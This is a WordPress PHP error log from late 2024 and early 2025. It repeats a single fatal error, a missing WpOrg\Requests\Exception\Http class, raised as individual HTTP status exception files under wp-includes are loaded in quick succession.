[19-Nov-2024 00:35:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[19-Nov-2024 00:35:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[19-Nov-2024 00:35:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[19-Nov-2024 00:35:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[19-Nov-2024 00:35:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[19-Nov-2024 00:35:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[19-Nov-2024 00:35:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[19-Nov-2024 00:35:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[19-Nov-2024 00:35:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[19-Nov-2024 00:35:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[19-Nov-2024 00:35:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[19-Nov-2024 00:35:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[19-Nov-2024 00:35:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[19-Nov-2024 00:35:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[19-Nov-2024 00:35:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[19-Nov-2024 00:35:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[16-Jan-2025 06:39:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[16-Jan-2025 06:39:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[16-Jan-2025 06:39:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[16-Jan-2025 06:39:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[16-Jan-2025 06:39:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[16-Jan-2025 06:40:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[16-Jan-2025 06:40:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[16-Jan-2025 06:40:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[16-Jan-2025 06:40:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[16-Jan-2025 06:40:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[16-Jan-2025 06:40:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[16-Jan-2025 06:40:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[16-Jan-2025 06:40:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[16-Jan-2025 06:40:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[16-Jan-2025 06:40:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[16-Jan-2025 06:40:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[16-Jan-2025 06:40:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[16-Jan-2025 06:40:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[16-Jan-2025 06:41:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[16-Jan-2025 06:41:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[16-Jan-2025 06:41:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[16-Jan-2025 06:41:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[16-Jan-2025 06:41:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[16-Jan-2025 06:41:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[16-Jan-2025 06:41:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[16-Jan-2025 06:41:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[16-Jan-2025 06:42:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[16-Jan-2025 06:42:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[16-Jan-2025 06:42:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[16-Jan-2025 06:42:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[16-Jan-2025 06:42:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[16-Jan-2025 06:42:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[16-Jan-2025 06:42:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[16-Jan-2025 07:43:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[16-Jan-2025 07:43:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[16-Jan-2025 07:43:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[16-Jan-2025 07:43:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[16-Jan-2025 07:43:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[16-Jan-2025 07:43:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[16-Jan-2025 07:43:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[16-Jan-2025 07:43:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[16-Jan-2025 07:43:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[16-Jan-2025 07:43:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[16-Jan-2025 07:43:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[16-Jan-2025 07:43:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[16-Jan-2025 07:43:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[16-Jan-2025 07:43:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[16-Jan-2025 07:43:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[16-Jan-2025 07:44:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[16-Jan-2025 07:44:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[16-Jan-2025 07:44:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[16-Jan-2025 07:44:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[16-Jan-2025 07:44:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[16-Jan-2025 07:44:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[16-Jan-2025 07:44:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[16-Jan-2025 07:44:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[16-Jan-2025 07:44:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[16-Jan-2025 07:44:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[16-Jan-2025 07:44:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[16-Jan-2025 07:44:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[16-Jan-2025 07:44:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[16-Jan-2025 07:45:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[16-Jan-2025 07:45:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[16-Jan-2025 07:45:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[16-Jan-2025 07:45:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[16-Jan-2025 07:45:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[02-Feb-2025 01:44:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[02-Feb-2025 01:45:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[02-Feb-2025 01:45:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[02-Feb-2025 01:45:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[02-Feb-2025 01:45:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[02-Feb-2025 01:45:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[02-Feb-2025 01:45:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[02-Feb-2025 01:45:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[02-Feb-2025 01:45:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
